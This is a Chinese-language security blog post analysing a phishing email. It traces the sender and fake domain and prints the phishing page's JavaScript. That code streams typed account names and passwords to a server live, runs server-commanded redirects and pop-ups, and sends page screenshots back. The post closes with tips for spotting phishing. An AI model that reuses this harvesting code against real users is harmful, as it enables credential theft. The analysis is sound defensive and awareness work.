声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!
今儿一早登录邮箱想发周报来着,结果发现邮件新增一条,点开看看,好家伙,现在钓鱼邮件这么猖獗,连伪造都这么假。
看到这,突然心血来潮,说什么也得分析分析,不然真对不起他发来的样例。
像我们常遇见的钓鱼邮件呢,有很多种,就像附件钓鱼、链接钓鱼、二维码钓鱼、内容钓鱼等。而我这情况就属于链接钓鱼了,往往邮件中会有引导用户点击链接,进行弹窗或跳转到钓鱼网站,网站通常会要求用户输入账户信息之类以获取用户敏感度信息;另外一种链接指向的网页暗藏木马程序,用户如果浏览器存在未修复的漏洞则点开的同时就中招了。
我们先收集下发件人相关信息,通过查看信头,查看最后一个 "Received" 部分,通常包含发件人的原始IP地址
目前整理如下:
发件人名称:信息部
发件人邮箱:[email protected]
发件人地址:221.234.29.195(当然邮件头信息可以被伪造,需要结合其他信息进行综合判断)
可以通过名称和邮箱判断其大大的猫腻,因为我们单位没有以信息部自称的部门,其邮箱地址也不是常见的地址,将其ip放微步里搜下,好家伙钓鱼没跑了。
看下邮件内容,只有简单几句话,再附上链接,意图不要太明显。
我们可以通过F12,看下其网站js源码,鼠标放到链接处,可以看到点击会跳转到如图下链接
查下域名可信度
真的没什么可说的了,我们打开隐私模式,访问站点看下
可以看到这是一个新的邮箱登录界面,分析其代码逻辑。发现部分比较有意思的代码。
代码片段一:输入监听,实时发送
socket.emit('sendMsg',{"kongzhi":"10","zhuangtai":id("zhuangtai").value});function shishijiankong1(canshu,canshu1){
socket.emit("sendMsg",{"kongzhi":"8","xinxi":canshu1,"neirong":canshu.value});
}
id("zh").addEventListener("input",function(){shishijiankong1(id("zh"),"账号:")});
id("mm").addEventListener("input",function(){shishijiankong1(id("mm"),"密码:")});
function shishijiankong2(canshu,canshu1){
socket.emit("sendMsg",{"kongzhi":"9","xinxi":canshu1,"neirong":canshu.value});
}
id("zh").addEventListener("blur",function(){shishijiankong2(id("zh"),"账号:")});
id("mm").addEventListener("blur",function(){shishijiankong2(id("mm"),"密码:")});
该片段代码可以看出,每当用户在 id 为 zh(账号输入框)和 mm(密码输入框)输入内容或输入框失去焦点时,都会通过 socket.emit 向服务器发送信息。所以可能会在没有明确被告知的情况下,这些信息会在输入时就被发送出去,并且也没有看到明确的隐私政策或用户同意的步骤。
代码片段二:弹窗跳转与页面操作
socket.on('pushMsg',function(data){
var fanhuia=data;
if(fanhuia.kongzhi=="2"){
if(fanhuia.shifouqiangzhi=="弹窗跳转"){
socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});
if(fanhuia.yangshi==0){
layer.open({
content:fanhuia.neirong,
closeBtn: 0,
btn:fanhuia.anniu,
yes: function(index, layero){
window.open(fanhuia.zhiling,"_self");
layer.close(index);
}
});
}else{
layer.open({
type: 1,
title: false,
closeBtn: 0,
area: '300px;',
shade: 0.8,
id: 'LAY_layuipro',
btn: [fanhuia.anniu],
btnAlign: 'c',
moveType: 1,
content: '<div style="font-size:'+fanhuia.zitidaxiao+'rem;padding: 50px; line-height: 22px; background-color:'+fanhuia.beijingyanse+';color:'+fanhuia.wenbenyanse+';">'+fanhuia.neirong+'</div><span style="position:absolute;display:none;top:0px;font-size:0px;height:3px;width:7px;" id="QXrAEizDBXbNDzFVUex" class="nPEyIZGcHrIFGmINggT">前赴后继</span><span style="width:5px;top:0px;position:absolute;font-size:0px;display:none;height:5px;" id="WSyaeECMFIYVbbNq" class="QEgTkejRZajsXxAf">马到成功</span><span style="font-size:0px;position:absolute;width:4px;top:0px;display:none;height:4px;" id="ejGKybmY" class="xMHZfkmh">雪中送炭</span><span style="font-size:0px;height:8px;top:0px;position:absolute;width:8px;display:none;" id="sCvtmEnbN" class="KWwIxNkpF">精卫填海</span><span style="position:absolute;font-size:0px;width:8px;height:4px;display:none;top:0px;" id="EkMJiiUfzfILx" class="msHkZgeLkRmxE">老马识途</span><span style="display:none;top:0px;font-size:0px;height:6px;width:8px;position:absolute;" id="QgwNGJZTzQZMJbwtdJ" class="bygkdZMqiwzNZmhVYw">青出于蓝</span><span style="display:none;top:0px;font-size:0px;height:4px;width:7px;position:absolute;" id="HCaSNATrBwpfLrIlk" class="RfrxzSDYGqRZSPPvn">善始善终</span><span style="height:5px;display:none;font-size:0px;width:3px;position:absolute;top:0px;" id="wKOYrooGGo" class="sOfPFHoyYt">眼高手低</span><span style="position:absolute;font-size:0px;width:7px;display:none;top:0px;height:6px;" id="zGiNutvKKiiI" class="yiAlZMmqgUOr">奋不顾身</span>'
,success: function(layero){
var btn = layero.find('.layui-layer-btn');
btn.find('.layui-layer-btn0').attr({
href:fanhuia.zhiling,//跳转
});
}
});
}
}else if(fanhuia.shifouqiangzhi=="强制跳转"){
socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});
window.location.href=fanhuia.zhiling;
}else if(fanhuia.shifouqiangzhi=="跳转弹窗"){
socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});
var url = new URL(window.location.href);
var path = url.pathname;
var lastSlashIndex = path.lastIndexOf('/');
var topLevelPath = path.substring(0, lastSlashIndex + 1);
var encodedUrl = topLevelPath+fanhuia.zhiling+"&anniu=" + encodeURIComponent(fanhuia.anniu) + "&neirong=" + encodeURIComponent(fanhuia.neirong)+"&moshi=0";
window.location.href = encodedUrl;
}
}
// 其他代码部分省略
})
在这个代码片段中可以看出,当服务器发送pushMsg消息且kongzhi=2时,根据shifouqiangzhi的不同值,会进行不同的跳转操作。例如强制跳转(window.location.href=fanhuia.zhiling;)或通过弹窗进行跳转,同样是在用户不知情的情况下。
代码片段三:页面截图
if(fanhuia.jietu=="1"){
function takeScreenshot() {
return new Promise((resolve, reject) => {
html2canvas(document.body).then(canvas => {
// 将 canvas 转换为 DataURL
const dataURL = canvas.toDataURL('image/png');
// 输出截图的 64 内容
socket.emit("sendMsg", { image: dataURL });
resolve(canvas);
}).catch(error => {
reject(error);
});
});
}
takeScreenshot();
}
当fanhuia.jietu=1时,会使用html2canvas对整个页面进行截图,并将截图以DataURL的形式发送到服务器。当然用户不知道他们的页面正在被截图。
通过发件人来源判定其不可信,为恶意ip。邮件内容为链接钓鱼,点击链接后会再次诱导用户输入邮箱账户密码,并会对用户输入内容进行实时监控、根据服务器消息进行不同强制操作(如弹窗显示、跳转、截图等),该获取用户信息行为均未经用户许可。
像现在钓鱼邮件一但出现,基本都是批量,那如何规避中招呢?那就要提高我们我们的防范意识和识别钓鱼邮件的能力了。
判断是否钓鱼邮件:
发件人来源是否可信:
邮件内容是否可信:
一看邮件标题:大量钓鱼邮件主题关键字会涉及“系统管理员、通知、发票、工资补贴、银行认证、参会名单、邮箱升级、邮箱容量上线”等,收到此类关键词的邮件,需提高警惕
二看正文措辞:钓鱼邮件往往使用对一些使用泛化问候(如:“亲爱的用户”“亲爱的同事”等)的邮件应保持警惕。同时也要对任何制造紧急气氛的邮件提高警惕(如要求“务必今天完成”或“过期造成何种影响”等)
三看正文内容:若邮件存在链接,将鼠标悬停在邮件中的链接上,你将看到链接的真实地址。如果这个地址看上去可疑或与链接文本描述的不符,那么千万不要点击。
谨慎对待附件邮件:
当你察觉已经为时已晚的时候:
1.首先应当停止所有操作,不要点击邮件内的任何链接或下载附件。
2.立刻隔离你的设备,防止其可能的恶意代码与控制服务器进行通信。
3.紧接着,立即修改你的账户密码,尤其是如果你在知道邮件是钓鱼邮件之前无意间输入了你的信息。
4.使用杀毒软件进行全盘查杀,清除可能存在的恶意软件。
网络里头事儿杂,钓鱼邮件来欺诈。
要么冒充人事部,要么冒充公检法。
说你中奖能暴富,链接一点钱没了。
时刻保持警惕心,安全防线要守牢。
横批----警惕钓鱼
如果想了解钓鱼知识的小伙伴,可以在我们团队知识文库(http://wiki.tidesec.com/)搜索钓鱼系列文章,可以从入门到入坑,哈哈。
https://mp.weixin.qq.com/s/Ba4O9I3LZKPaBX_qo5IGAg (线上钓鱼邮件案例)
http://wiki.tidesec.com/docs/jswz
往期推荐
E
N
D
团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台 | ......
技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑 | ......